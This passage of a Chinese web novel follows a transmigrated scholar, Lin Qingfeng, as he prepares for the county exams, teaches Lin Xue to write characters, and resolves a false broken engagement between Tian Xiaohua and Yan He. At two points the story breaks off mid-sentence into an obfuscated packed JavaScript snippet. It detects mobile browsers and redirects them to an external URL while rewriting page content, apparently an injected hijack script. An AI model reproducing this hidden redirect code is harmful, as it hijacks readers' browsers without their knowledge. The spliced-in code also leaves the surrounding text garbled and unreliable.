告别了柳大夫,林青峰带着买来东西回到了平阳村。中午吃完一顿午饭,林青峰将剩下的钱给了林山。 “这咋还多了?”林山之前给了林青峰一两银子并一百个铜钱,如今银子没动,铜钱还多了百八十个。 林青峰解释道,“我前些日子将上次来的书抄录了一份送去书铺,书铺的掌柜的给了四百五十文的报酬。今天买的东西不多,便没用完。” 林山面色复杂地翻了翻林青峰买的东西,一本小峰看的书,一只笔,两沓纸,笔和纸还是和上次买的一样,都是最便宜的,而剩下的一看就都是为小雪买的。 林山叹气,“小峰,叔也不瞒你。我天天打猎已是攒了不少的钱了,叔说能供得起你念书不是勉强的,叔真供得起。” “你莫要为家里的生计犯愁,我听闻那些跟着夫子念书的都不愿去帮书铺抄书,说会耽误了,你可千万莫要因为家里的事耽误了自己的念书啊。” “这次不耽误的,林叔。”林青峰安慰林山,他知道这些话都是林山的一片拳拳之心,“我看书时候想着要加深印象,就一边背一边默写出来的。就是不送去书铺我也是要写的,如今只是整理了一下,不算耽误,之后我就不抄了。” 抄录这三册书花了林青峰整整十天,虽然有背诵花费的时间在里面,但林青峰不是每个字都背的。这要是放在现代,每天毫不停歇地抄书,哪里用得了这么久。 若是再抄第二遍,对林青峰的提升也不大,那就是真的浪费时间了。 林山没听懂他说的那些“默写”之类的话,但他听懂了“不耽误”,才松了口气,“不耽误就好。你买的这个是什么?” 林山指着那两包包好的药材,这是给小雪的还是小峰自己吃的? 林青峰将那张食补的方子拿出来,解释道,“我想着小雪身体虚,老是吃那补药也不是个办法,就找大夫开了这个食补的方子,把药材和鸡一起煮,煮出来的鸡汤给小雪喝,也能补身体,还更温和一些。” 林山点点头,又想到家里大多是熏好的野鸡,不好拿来做汤,就说道,“明日我去山上转转,抓只野鸡回来。” 入了冬后,村里人明显闲了下来,林家上山的次数也开始减少了,林山说要到冬日里下了大雪之后,猎物才好抓一些,最近这段时间只去看看捕兽笼就好了。 之前家里的三只林貂卖出去了一只长得最好看的,卖了三两银子,剩下两只林山就将它们杀了取了皮子,和入冬前攒的那批兔皮一起卖了。两张貂皮卖了四两银子并二百文,四十七张兔皮卖了九百四十文,去掉买硝花的四百文钱今年下半年一共赚了七两半银子还多。 林家住在村子的最末尾,平时也不常喝村里人说闲话,以至于村里人光知道林家应当不缺钱——林雪每年的医药费就差不多是普通人家一年的收入——但不知道林家到底有多少钱。 应朝经历了长达三十多年的战争,一统了整个中原地区,自先代皇帝退位前三年,就开始专注于对内发展。 没有战争这个烧金窟了,国库也慢慢丰腴起来了,士大夫阶层也开始转向追求生活品质了,如今的皮毛一年较一年要贵一些。 在林山看来,今年他本不会抓到整整三只貂,往年一只都抓不到的情况也经常出现。是林青峰改良了那个捕兽笼的开口,令貂逃不出去,今年才能有这么多的进项。 若是去掉这三只大头,今年的皮子其实是不如往年多的,加上卖粮时卖野味得的三两银子,才是他一年正常的收入。 正是因为他觉得这三只貂的功劳应当归于林青峰,他才和林青峰感慨真的供得起他读书。 临水村的夫子一年收二两银子,若是银子不够也可以用粮食换,光是林青峰自己“挣”的这七两银子,就够他读三年多书的。 结果,林青峰不要拜夫子,这钱没花出去,之后买书买笔不仅没用钱,还往回赚了八十文,林山实在时觉得自己这个供人读书供的不行。 他暗自想着,今年小峰说不想去夫子那里就不去了。若是今年没考上,可以劝他莫要为钱发愁,该去夫子那里问问还是得问问的。 16. 打白工? 第二日,林山原本要去山上找找野鸡,但被林青峰喊住了。 林青峰问他家里有没有可以用来炖汤的瓦罐,他想到了以前父母常用来给他炖汤用的胖肚瓦罐,据他观察,林家似乎没有这种东西。 林家倒是有一个罐子,但这个是用来给林雪熬药用的,不大,只能刚好放进三碗水左右。 林山想了想,说,“家里没有这种瓦罐,但村里有一家会烧。” 平阳村里有一家专门烧瓦罐做炉子的,他家在靠近村口的地方,若是林青峰想要可以去他家定做一个,也费不了多少钱。 林山说,“若是你想要个瓦罐,我带你去他们家烧一个,他家会给镇上烧茶杯茶壶,三天就开一次炉子,烧的也快。” “小峰哥是不是要去平瓦匠家的?爹,我同小峰哥一块去吧。”林雪也想出去转转,再过一段时间下大雪了,他就不能出去了。 今日外面有风,林山想叫小雪在家里呆着,但看林雪期待的样子,又不忍心,“唉,你将斗篷披着在出去,注意莫要受凉了。” 林雪高兴地应了一声,忙回屋换了厚实的夹袄,又将家里的斗篷翻出来披上。 这件斗篷是林雪阿爹同林山结婚时林山在镇上找人做的,外面时厚实的防风布,里面缝了一层兔毛,上面还带了一个夹毛的大兜帽。林雪阿爹走了之后,林雪一道冬天就会生病,林山就把这件斗篷翻出来给林雪披。 山里的兔子大多是灰色或者棕色的,和林青峰以前常见的白色兔子不一样,但也一样的柔软御寒。 今日的气温略有回暖,虽然路上还是有风,但林雪都斗篷挡着,也不觉得冷。 现在正是阳光温暖的上午,村里人没有农活要忙,也不必像夏天那样每天洗衣服,现在村路上闲逛的村民更多了。 有人瞧见了林雪和林青峰,就过来打了招呼:“这不是小雪吗?这会儿是要去干嘛?” 林雪冲那人点点头,“我们要去平瓦匠家做个罐子。” 那人也是往平瓦匠家去的,“我正好也要过去,家里儿媳妇有了,冬天得做个炉子回去用用。” 今年村里人卖粮食都赚一些,像是烤火用的火炉也舍得过来平瓦匠家做一个了。往年收成不好时,每一分钱都要掰开来花,冬天再冷没舍不得拿出几十文买一个炉子。 平瓦匠家已经有不少的人了,降温降的比较突然,不少人都是来订炉子的,他家的堂院里已经站了不少的汉子了。 见院子里人多,林雪有些不自在,他稍微往林青峰身后站了站。 林青峰侧过身来将旁人从林雪旁边隔开,“要不我们等会再来?” 林雪:“不成,早点和平叔说也能早点烧。” 排了一会,终于排到他们了,平瓦匠是一个四十岁左右的精壮汉子,他还有个比林雪稍微小一点的儿子,也在家里帮忙。 平瓦匠看见两人过来,打招呼道,“是林哥家的啊,要烧什么?” 林青峰形容了一下后世常见的那种胖肚的汤罐,说,“预备买回去烧汤用的,最好能做的大些,至少能放进去一只整鸡。” 平瓦匠想了想,“成,能做,比平时的水罐大些是吧。” 林青峰:“是的,不过得用耐烧的材料做,这瓦罐是打算放炉子上烧汤的。” 平瓦匠点头,“我有数,明天正好要烧一窑,你家这个刚好一块烧吧。大后天过来拿。” 交了瓦罐的定金,两人从平瓦匠家出来,林青峰问林雪,“要不要再转转?” 林雪答道,“要的。” 林青峰陪着林雪在村里的小路上慢慢地走着,这条路虽然林雪已经走了许多次了,但今天这次走在上面,还是会有不一样的感觉。 林青峰想到昨天在镇上医馆里柳大夫说的话,他想问问林雪事怎么想的:“小雪,你想去镇上住吗?” 林雪奇怪地看了他一眼,“去镇上住?” 林青峰说,“是的,要是我考上了功名就得去镇上的乡学里读书了。我想着你到时候也可以一起去镇上了,这样也能让柳大夫随时给你调理身体。” 林雪不太乐意,他想到了田小花,他只有田小花这一个朋友,要是去了镇上就见不到小花了。但是小花也马上就要嫁人了,等他嫁了人也一样见不到了。 林青峰没有出声打断他的思绪,搬去镇上还是要林家人也同意才行,不过就算不搬过去,他也可以和于秀才一样平日里住在乡学的宿舍中,放假了就回来。 林雪考虑了一会,又觉得搬去镇上也没什么不好的,以后小花也可以去镇上找他——反正去镇上买东西也是要去的,顺路去找他一块也不耽误什么。 “那若是小峰哥考上了功名,我就同意搬去镇上。” 说完这句话之后的第二天,林雪就后悔了。 那天他们两个在村里稍微逛了逛就回去了,一到家,林青峰就说他要去写点东西,之后就把自己关在了房间里奋笔疾书,结果…… 林雪苦大仇深地盯着面前这一沓纸,这是昨天林青峰努力了半天的结果。上面写了一些浅显易懂的内容和一些笔画临摹。 罪魁祸首还在一旁不停的火上浇油:“若是日后真的搬去镇上了,每天闷在家里,人该闷坏了,不如学学写字,还可以去柳大夫那里帮忙写药方……” 林雪瞪他:“之前你不是说你去给人家打工的吗?怎么变成我了?” 林青峰尴尬地咳了一声,解释道,“这不是打工,林叔平日里要打猎,不能一直在镇上呆着,我白天若是去乡学了,不放心你一个人在家里,不如去柳大夫那边玩。” “我想着,早上我送你过去,晚上等我结束了便过去找你,平时有柳大夫帮忙看着,我和林叔也放心些。只是突然多了一人在医馆里,我担心那些伙计会暗中欺负你,不如学学写字,就跟在柳大夫身边帮他抄抄药方,也不累的。” 林雪冲着他运气,说的好听,还不是要送他去打工,这下好了,听起来连工钱也没有,还是去打白工的。 林山听见两人的动静,过来问了句,“怎么了?这还是第一次见你两吵嘴。” 林雪委屈地看着林山:“爹,小峰哥要送我去给别人打白工。” 林青峰头都大了,小雪平时一直很乖巧,他原以为教小雪认字这件事也一定会很顺利的,没想到林雪突然不配合了。 他连忙和林山解释,“不是去打白工,我上次去镇上见了柳大夫,同柳大夫聊了两句,提到了搬去镇上的事。” “我想着若是我能考上功名,小雪也愿意去镇上住的话,不如将小雪送去柳大夫那里,让柳大夫帮忙照顾着。” 听到去镇上住,林山也提起了兴趣。他好几年前就起过搬去镇上的住的念头,林雪的身体好好坏坏一直反复,若是能搬去镇上,叫柳大夫看着也能少些担忧。 只是家中男丁太少,他又是靠打猎为生的,不能长久地呆在镇上。现在有了林青峰,起码林雪就能交给他照顾,自己在家里打猎赚钱,就能忙得过来了。 林山问:“若是搬去镇上,小雪白日里去柳大夫那边吗?” 林青峰颔首,这是他考虑了一整晚的法子,“我白天去乡学读书,留小雪一人在家我也不能放心的下。那天我观柳大夫的医馆平日里不怎么忙,小雪送去也不会给他们添麻烦,若是小雪有什么不舒服的地方柳大夫随时都能发现。” “只是医馆里平白多了一个人,我担心在那里打工的伙计心有不满。就想着不如教小雪认字,只跟着柳大夫帮忙抄抄药方就好。” 林山思考着林青峰说的这些,意思大概就是白天将小雪送到医馆去,健康安全也有保障。家里也不需要小雪费神去学人家的医术,也不需要小雪在医馆劳力工作,只要家里给医馆送些钱,就能让柳大夫帮忙照顾林雪了。 只是想法很好,不知道能不能实施。 “柳大夫那边能同意吗?” 林青峰说,“等我考上功名了我亲自去和柳大夫商议,乡学每日申时放学,我也会去医馆帮忙,应当问题不大。” 林山想了想,不要医馆花钱,就能得两个帮忙的人,这事应当能成。 他当下拍板道,“若是可以,咱们就去镇上买一间房子,咱家就搬过去住。” 说完他又想到这一切的前提都是林青峰能考上功名,但小峰不会说无关的事,“小峰,你今日说起这个,可是对考功名有把握了?” 林青峰的神情变得自信起来,“若是现在就考,应当是没什么把握的。但明年的二月考,我还是有点信心的。” 林青峰今日已经将考学所需的书都过了一遍了,感谢上辈子的应试教育,不仅教了他许多的文言文常识,让他读起古文来更轻松顺利了;而且,通过应试教育的思维来揣测出题人的意思,也令林青峰总结了许多经验。 通过于秀才给的这几年的考试真题,可以看出当今皇上对于“仁义”和“忠信”方面的内容颇为看中,三年来的每一次策论和四书文题都是这两方面的内容。 结合他之后找于秀才请教问题时于秀才给的讲解,他也发现乡学里的夫子也会稍微侧重这两方面来讲题。 但夫子不会大张旗鼓地专攻某一部分,对这么两方面有所侧重也只是在出策论题时会多出一两道相关的题目。实际教学中,还是十分注重各部分内容均衡发展的。 而科举考试的另一大内容——作诗,反而在秀才阶段的要求不高,语句对仗,诗句里稍稍有点灵气就可以。林青峰觉得自己努努力还是可以达到的。 因此,他对于明年的县试院试还是很有信心的。 听到林青峰说对考秀才颇有信心,林山也觉得十分高兴,唯有林雪郁闷坏了。 去镇上他不反对,去柳伯伯那边帮忙他也可以,但是,他不想学写字。 他一个哥儿学这个干什么?而且,之前林青峰从早上五点读书读到晚上七点,从天亮读到天黑的样子吓到他了。 他想,小峰哥该不会要让我也一起床就读书吧,看着就吓人。 林山高兴地对林雪说,“小雪,你小峰哥教你认字的时候要好好学。咱不能给柳大夫添麻烦晓得不?” 林雪:………… 林山没注意到林雪古怪的脸色,背着手走了,他要去山上看看笼子,家里的小辈都快能独当一面了,他也不能拖后腿,得加紧赚钱。 林青峰倒是注意到了林雪的不乐意,他温和地问道,“小雪,你不喜欢认字吗?” 林雪低着头,没说话。 林青峰耐心地说,“那小雪喜欢听我之前给你讲的故事吗?” 这指的是大约一个月之前林青峰给林雪讲了关于应朝应高祖的历史故事的那一次,他记得当时林雪还是听的很津津有味的。 林雪捏着自己的手指头,好半天才小声说了句“喜欢”。 林青峰:“等小雪学会了认字,就可以自己看那些故事了。我之后不一定有时间每天都给小雪讲,但是你要是会认字了,就可以随时自己看了。” 林雪纠结坏了,他想听故事,但他也知道,林青峰要考学,没有那个时间天天给他讲,可是他不想天天五点就起来背书。 林雪犹豫了好久,才鼓起勇气问林青峰;“小峰哥,我学认字也要每天早上天一亮就起来念书吗?” 林青峰:? 他反应了一下才知道林雪在担心什么,他哭笑不得地解释,“不需要的。但你要是也要考学,就需要了。” 林雪连忙摆手,“我不考学……再说了,哥儿怎么能考学呢?” 林青峰知道,现在这个社会还没有男女平等这一说,哥儿和女子差不多,不能继承家业,不能独立开户,不能参加科举。 但这不代表哥儿女子不能学认字。他一个人的力量改变不了这个制度,但他可以尽自己的力,将知识的美好介绍给林雪。 他将他昨天写好的简略教材放在林雪手里,说, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|14425465|153692||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “小雪只要顺自己的心意,慢慢学就好了。你有闲暇时我就教你几个字,学累了就好好休息。” 林雪放下心来,不再排斥学习认字,“我知道了,小峰哥。” 从此,林青峰每天都会教林雪几个字。他将上次在镇上买的另一枝笔交给林雪使用,从笔画开始,一点点的教他写字。 林雪比刚开蒙的小孩子好教多了,他已经十五岁了,知道自己为什么要学认字,性格本身也比较安静,完全耐得住性子在桌子旁坐上半天。 他没事的时候就会在桌旁看林青峰写字,看每个字的笔画走向,有时林青峰都不需要额外向林雪解释多少,他自己照着书上的东西也能写个差不多。 而林家那日定做得瓦罐这天也做好了,林山早上去平瓦匠家将瓦罐拿了回来,给了二十文钱,加上那天交得五文钱定金,这一个厚实耐用得瓦罐只要二十五文。 这也只有林家会这么想了,旁的人家只靠种地为生,家里有老有小花费也大,连猪肉都是逢年过节才会买上一斤回去开开荤,这一个瓦罐就要一斤猪肉还多,村里人不少都是舍不得买的。 林山将瓦罐带了回来,先盛上一罐子水放在火炉上用小火慢慢地烧着,打算先烧一壶开水净一净罐子里,烧好的开水也正好能拿来烫一烫鸡毛。 他昨天在山上找到了一窝野鸡,想到林青峰从柳大夫那儿拿的“十全大补鸡”方子,干脆废了点事,将那窝野鸡都掏了回来。一共是四只大的,一只半大不小的,就养在野猪棚子旁边。 今天罐子拿回来了,正好做一顿鸡汤给小雪和小峰喝喝。 林山坐在堂屋的门口,看着火炉上烧的热水,只觉得今年的心情格外的舒畅。似乎打小峰来了之后,他们家就处处都顺遂。 看来小峰还是个福星啊。 林山悠闲地想,等明年小峰考上功名了,就去镇上买一间房子,家里积蓄还有不少,就是不知道镇上房子贵不贵。 屋里林青峰在照着去岁的童生试题目写策论,策论同现代的议论文类似,只是议论的大多是关于民生民意之事。 例如大前年闹了旱灾,童生题就考了一句“君之民老弱转乎沟壑,壮者散而之四方者,几千人矣。”,通过和书中类似的灾年情况,来警惕众人“仁政”的重要性。而在没有遇到灾难的年代,大多都会考有关“仁义”的话题。 童生试的试题从一定程度上也是会试殿试内容的反应,只是大多要比后两者要浅显许多。 写策论时,一要点名题目出自哪里,将题目的出处完整地默写下来,再解释选题背后所蕴含的道理,最后阐述自己对题目的理解。 童生试的要求并不高,不偏题,理解正确,语句通顺就能通过了。他的难点就在于,考试范围太大,而且所用的教材使用的并不是人们日常生活中的口语,有很多的书面表达形式。 这就给初次学习的考生带来了很大困难。若是没有夫子教导,光凭自己是很难将书里的内容理解正确的。 好在童生试所考的四书里面的不少内容林青峰上一世的教育中都多少有涉及到,加上他原本就对古文有兴趣,毕业了以后也常常阅读相关的书籍,如今学习这几本书难度还不是很大。 等林青峰写好一篇策论之后,林山的水也鸡也处理好了,他推门进来问问林青峰这食补的方子该怎么用。 林青峰将笔放下,同林山一起出去处理野鸡去了,而林雪留在屋里照着林青峰写给他的例子写字。 这张食补的方子也很简单,滋补的中药都按量配好了,只需将处理好的鸡肚子剖开来,把中药包塞进去,再将整鸡放入瓦罐内,灌入清水,烧开后,撇去浮沫,加入香菇丝、红枣、葱段、姜片、黄酒和盐,小火炖至酥烂,拣出中药,就能趁热喝了。 唯一要注意的一点就是,炖的时候得有人在旁边看着火候,不能太大。 两个大男人研究了一会,觉得这方法不难,就开始往鸡肚子里面塞中药。结果中药塞进去了,鸡胖了一圈,塞不进瓦罐了。 林山皱着眉看这这个收口的瓦罐,问道,“这咋办?要不把他切开来?” 林青峰觉得可以,但是切开来又不好看了,他说:“不然再试试吧,塞不进去就把鸡切开来。” 林阿爷在方才他两折腾中药的时候就在旁边看着了,这会见两个汉子笨手笨脚地拎着鸡脖子往瓦罐里面塞,无奈地挥退了两人。 “你两上旁边看着,我来弄就成。” 林阿爷将鸡肚子里的中药包拿出来,松了松外面那层纱布让中药之间都有了一些空隙,再慢慢往鸡肚子里填。这回的中药包不再支楞起来了,整鸡也完整地放进了瓦罐里。 林阿爷责怪林山道,“方才我就说让我来弄你不听,这不还得我来吗?” 林山也怪不好意思的,他只是太高兴了,想自己给小雪做一碗鸡汤喝喝,他难得红了红脸,对林阿爷说道,“阿爹,我错了。” 好久没听林山喊他阿爹了,林阿爷也十分高兴,他包揽了看火侯的活,叫两个汉子自己去干自己的事去。 这会天色还早,林山就说他去山上转转,砍些柴火回来。林青峰则是回屋里继续读书去了。 林雪听到林青峰回来的动静,抬头看了他一眼,见他面上带着微笑,就问道,“你不是背爹爹叫去煮药汤去了吗?怎的这么高兴。” 林青峰笑道,“不是药汤,是补身体的鸡汤。方才我和林叔都不会做,林阿爷见了就过来帮忙来了。” 说完,他没忍住笑了,“我还是第一次听林叔唤阿爹。” 林山一直以来都是十分靠谱的样子,在家里几乎不唤林阿爷和林爷爷,有什么事他自己闷头就干了,难得能见到林山不好意思的样子。 林雪也没忍住,他笑着说,“爹爹本就是阿爷的儿子,不唤阿爹唤什么?” 中午,鸡汤也炖好了。林阿爷又炒了一盘酸菜丁和兔肉,一家人就着鲜美的鸡汤好好地吃了一顿。 17. 严和 柳大夫给的鸡汤的方子只要十五天喝一次就够了,鸡汤里含有许多的滋补中药,而林雪体虚,虚不受补,经常喝反而会加重身体负担。 这段时间里,平阳村又下了一场雪,家家户户的袄子也都穿起来了,白日里大多呆在家里做些手工活,汉子们也三三两两地聚在一起聊天喝酒,仿佛一进了冬天,时间都变的慢下来了。 不过或许是因为今年林青峰同林雪一起读书的缘故,林山在堂屋里摆了一个火炉,让两人在堂屋里写字看书。 堂屋的门用旧棉被和竹竿缝了一块厚实的门帘,再有火炉靠着,堂屋里暖洋洋的,一点也不觉得冷。 林青峰时不时按照之前在镇子上买的那本书里教的方法叮嘱林雪保养身体:比如,他会在堂屋的火炉上的水壶里放上红枣枸杞,叮嘱林雪隔一两个时辰就要喝上一杯。 他还去镇上买了红糖,写字的间隙会叫林雪同他一起在院子里跑跑,跑完了再冲上一杯暖暖的红糖水喝了。 天气转冷以来,林雪竟是只病了那一回。在发现又一场大雪下完,自己还没染上风寒后,林雪就乖乖地听林青峰的话主动喝那些甜水了——他以前一直嫌林青峰浪费钱,好好的枣子泡了甜水之后都煮烂了,没有原本好吃了。 这天田小花难得来找林雪玩,他一进堂屋发现林雪也在拿着毛笔写字,奇道,“小雪,你竟是会写字的?” 林雪黑线:“不是,这是小锋哥才教我的,我还不会几个呢。” 田小花先是去火炉边烤了会火,将身上的凉气散掉了,才凑到林雪旁边,“我看看……这是什么字?” 林雪说:“这是‘学’,就是考学的那个学。” 田小花疑惑地说:“你也要考学吗?” “我不考,这个只是小峰哥教的……对了小花,我会写你的名字了。” 林青峰之前教林雪写字,为了激发他的学习兴趣,就把他熟悉的几个人的名字一一教给他,田小花的名字简单好写,林雪很快就学会了。 他拿起毛笔,在一张大纸上端端正正地写了“田小花”三个大字,虽然没什么风骨可言,但胜在横平竖直,笔画无误。林雪已经是很满意了。 田小花看着这纸上的三个大字,他虽然不认识,但这是小伙伴林雪写的,他也宝贝的不得了,“你太厉害了小雪,那你的名字你会写吗?” 听到了小伙伴的夸奖,林雪觉得这几日写字的辛苦都消散了,他回答说,“我的名字也会,爹爹的名字也会写,但是小峰哥的不会。” 田小花:“为什么?” 林雪苦恼:“他的名字太复杂了,我没学会。” 田小花抱了抱林雪,安慰道,“没关系的,小雪,以后说不定就能学会了。” 林雪放下笔,问道,“今天过来是不是有什么事?” 天冷了,不光是他们家,村里的其他家里也很少让哥儿自己跑出去玩,以前冬天田小花也不常有空过来。 田小花叹口气,无视了旁边正在写字的林青峰,声音里带着浓浓的不满,“汉子都是大猪蹄子!” 林青峰:??? 林雪还是很了解田小花的,他这么说一定是发生了什么事情,“严大哥来找你了?” 田小花愤愤地说,“谁稀得他来找。” 林雪思考了一会,“今天是初八,严大哥跟着夫子念书,每个月十五和三十才回来,难道是别的人欺负你了?” 田小花眼泪汪汪地说,“不是别人,就是他!他昨天将我给他做的袄子退回来了。” 林雪惊讶极了,不应该啊,严大哥是真心喜欢小花才会和田大家的提亲的,严大哥家里还有个大伯母,该不会是他那个大伯母退的吧? 林雪握着田小花的手,将他带到凳子上坐下,“小花,你和我说,他昨天是怎么把你的袄子退回来的。” 定亲了之后,哥儿会给自己定亲的汉子做衣裳,之前田小花见林雪在做袄子,也一起做了一件,打算送去给严大哥穿。若是汉子家把袄子退回来了,就代表他家后悔了,不想结亲了。 田小花昨日就难过的想哭,但是看到愁眉苦脸的爹爹和娘亲,他还是忍住了去安慰他们,今天爹爹去严大哥家问个说法去了,他实在是忍不住,就来找了林雪。 听着林雪的安慰,田小花再也憋不住眼泪,一边哭一边说,“昨天晚上,严大哥的嫂嫂过来敲门,说严大哥有了喜欢的人,不能定亲了,就把我给他做的袄子还有布鞋全都丢回来了。” “我爹想问清楚情况,他大伯母说马上天黑了,她要回去给严大哥做饭去了,就直接走了。” 林青峰方才就停笔不写了,家里来了客人,没道理还要自顾自的写东西。他给田小花到了一杯泡了红枣的茶水,又找了块干净的帕子放在他们两哥哥儿旁边。 端茶过来时正好听到田小花说是严和的大伯母送袄子回来的,他就说道,“说不定不是严和要退的,是他自作主张呢。” 之前林雪同他讲过同田小花定亲的那个人,那人叫做严和,比田小花大了两岁,一直跟着临水村的夫子读书。他来浔山上砍柴的时候偶尔会遇到小花,一来二去,两人就熟悉了,之后他听说小花家人准备给小花说亲,就自己过来提亲来了。 因为这事田大本来还不乐意呢。严和的父母在他小时候就生病去世了,如今他是寄宿在他大伯家。这在田大看来那里是个合适的儿婿啊。 但田大又耗不住田小花自己也喜欢,那个严和又已经考过童生试了,好赖也算是个读书人,田大就默认了他两的定亲,只说小花年纪还小,想在家多留两年,不急着结婚。 田小花此刻伤心极了,他一点也没预料到严大哥要和他退了亲事,只觉得之前严和同他说的那些喜欢都是骗人的。 他哽咽着说道,“如果不是严大哥自己的意思,他大伯母怎么会过来退亲呢。而且,昨天她也说了,严大哥在家,她要回去给严大哥做饭吃。” 林雪也替田小花觉得委屈,这定了亲又退亲,等这事传开来,小花的名声就被他弄坏了,林雪握着田小花的手小声的安慰着他,又哄他喝点茶水。 林青峰觉得这事不像事严和做的,林雪说每次严和过来找小花时都会给小花写一首诗,还很礼貌,对田小花一直文质彬彬的,这样一个亲自上门来提亲的人应当不会叫别人过来退亲。 林青峰去里屋拿了一件袄子换上,对林雪说,“我去临水村看看,林叔也在家里,你别害怕。” 林雪有些担忧地看着林青峰,他说,“刚下过雪,路上滑,你去的时候要小心,我和小花都不出去的。” 田小花抹了抹眼泪,说,“林大哥,我爹方才已经过去了,你不去也可以的。” 林青峰笑笑,“没事,我没猜错的话,田叔应该是找不到严和的。” 林雪说了,严和是住在夫子那里读书的,每个月十五号和三十号才会回来。这才初八,严和还不一定在家呢。 不过林青峰没有多解释,他将领口束好,拿了一个挡风的斗笠就出门了。 临水村离平阳村不远,靠着乡宁河,此时路上的雪化了一部分,踩在上面一不小心就会滑倒,林青峰走得比平常要慢许多。 快到临水村时,林青峰撞见了垂着头的田大。 “田叔。” 田大抬头一看,原本紧紧拧着的眉头略松了一些,“是小峰啊,你怎么来这儿了?” 林青峰没回答,他问道,“严和不在家吗?” 田大一愣,随即想到估计是小花去找林雪说话了,他摇摇头,“我敲门了,他家家里好像没人。” 林青峰,“他家的邻居有说他们去了哪里吗?” 田大说,“没有,他们家旁边的人家说没看到人出去,他们也不知道去了哪里。” 林青峰心里有数了,估计真的不是严和想要退的亲,他点点头,嘱咐田大说,“田叔先回去吧,我去夫子那边看看。” 田大也稍微有点回过味来了,“你是说小严没回家?那昨天那人去家里退袄子干什么?” 具体的林青峰也不是很清楚,只能等找到严和之后才能知道了,“那只是我的猜测……对了田叔,夫子那边怎么走?” 田大有些不知道该说什么,“你找不到夫子那边啊……甘夫子住在最东边,他家院子比较大,你去了就能认出来了。” 林青峰和田大道了别,慢慢地沿着临水村的乡路往东边走。差不多走到尽头时,他看见了一间青瓦盖的四合院,同村里其他人家的样式不同,它的面积更大,是标准的二进二出式的四合院,外墙也涂成了白色,确实很好认。 院门是关着的,林青峰上前敲了敲门,还没敲两下,就听到院里传来了声音:“来了来了。” 过来开门的是一个看起来有十六岁左右的男孩,他匆匆披了一件褂子,见了林青峰,好脾气地问道,“你找谁?” 林青峰摘下斗笠,说,“我找严和,他在这里吗?” 那人说,“在的,你进来等吧,我去叫他。” 他将林青峰带到了前厅,让他在这儿坐着稍等,就匆匆地跑到后院喊人了。 没等几分钟,一个穿着深蓝色长衫的青年过来了,他见来找他的不是认识的人,虽然感觉奇怪,但还是朝林青峰做了一下揖。 “我就是严和,不知你找我所谓何事?” 林青峰到这已经完全确认了昨日的退亲应当不是严和自己的主意了,他也没有绕弯子,直接将昨天的事说给了严和,“你大伯母昨日去田大叔家退亲,将小花给你做的袄子和鞋全都退了回来,方才田大叔去你家找你却没找到,你可要过去解释一下?” 严和已经听傻了,他震惊道,“什么?我大伯母昨日去小花家里退亲了?这、这事我怎么不知道?” 林青峰说,“所以退亲的事情并不是你的意思是吗?” 严和震声,“自然不是!我怎会同小花退亲!” 林青峰:“那你要同我一起去和你的岳父解释一下吗?顺便一提,你昨日退亲的事让小花很是伤心。” 严和急的满头大汗,他连忙反驳林青峰,“我没有要和小花退亲!……不对,你是哪位?你怎知道这些事情的。” 严和倒是没有怀疑事情的真假,一会同这人去了岳父家就都知道了,而且他一个汉子,也不怕有人敢诓骗他。 林青峰微笑,“鄙人姓林,名唤青峰,是林雪的哥哥。今天小花过来找林雪说起你退亲的事,很是伤心,方才我出来之前还在以泪洗面。” 严和:“不是!我没有退亲!” 他急得当下就要拉着林青峰回去,走了两步又想起来,“你在这儿稍等我一下。我去同老师说一声就回。” 严和匆匆跑回后院,同夫子讲了一声就回来,衣服鞋子也没来得及换就拉着林青峰往平阳村赶。 林青峰看着他身上的夹袄和脚下穿的单鞋,摇了摇头,将手中的斗笠递给他让他挡一挡风。不然,别事情解决了人也病倒了。 回去的时候,因为严和心中急迫,走得倒是很快,路上严和几次心神不宁要踩滑摔倒时,都是林青峰眼疾手快一把扶住了他。 虽然狼狈一些等会可以在田大面前扮扮可怜,但要是摔的一身泥水,那就不是扮可怜而是失礼了。 林青峰陪严和一起到了平阳村田大家门前,严和心情忐忑地敲了敲门,整个人不安极了。 林青峰叹口气,将他头上歪了的斗笠摘下来,说,“我就不帮你解释了,一会你直接去林家找小花解释吧。” 严和这才反应过来,不过这事也的确需要先和长辈解释清楚,他点点头,“多谢林兄,烦请您同小花说一声,我从来都没有要和他退亲的想法,一会我同岳父解释过后就亲自去向小花道歉。” 林青峰摆摆手,“不必这么客气,我先回去了。” 回到林家,林青峰将斗笠挂好,掸干净身上的雪才进屋。 林雪见到林青峰回来了,连忙问道,“怎么样了小峰哥?” 林青峰赶紧挡住林雪,让他坐回去,“我身上都是凉气,莫要冲着你了……严和的确不知道昨天他大伯母过来退亲的事,他现在在田叔家 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|14425466|153692||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 同田叔解释,要我带一句话给小花。” 田小花方才在林雪的安慰下已经不哭了,听道退亲的事不是严和的意思也松了一口气,“严大哥要同我说什么?” 林青峰说,“他说他从未有过和你退亲的想法,等他同田叔解释过来,就亲自过来向你道歉。” 林雪听了,开心道,“太好了,小花,我就说嘛,严大哥怎会与你退亲呢。快擦擦脸,一会他就过来了。” 田小花也笑了,“嗯!” 林青峰看着两个小孩又恢复了往日的活力,满意地去厨房烧姜汤去了——哎呀呀,看严和穿的那身夹袄,不喝完姜汤暖暖今天估计得病了。 果然没一会儿,严和过来敲门了。 林青峰过去把门打开,见到严和长衫的膝盖位置有水渍,面色较来时要轻松许多,就知道同田家已经解释好了。 